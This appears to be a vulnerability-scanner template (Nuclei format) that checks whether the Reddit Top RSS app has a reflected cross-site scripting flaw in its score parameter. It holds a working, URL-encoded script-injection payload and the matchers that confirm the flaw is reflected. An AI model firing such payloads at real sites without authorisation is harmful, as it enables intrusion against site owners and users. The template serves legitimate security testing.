id: reddittop-rss-xss info: name: Reddit Top RSS - Cross Site Scripting author: arafatansari severity: medium description: | Reddit Top RSS allows Reflected Cross Site Scripting via /?subreddit=news&score= parameter. reference: - https://github.com/johnwarne/reddit-top-rss/issues/12 metadata: verified: true tags: reddit,rss,xss requests: - method: GET path: - '{{BaseURL}}/?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - 'value="2134">" min="0"' - type: word part: header words: - text/html - type: status status: - 200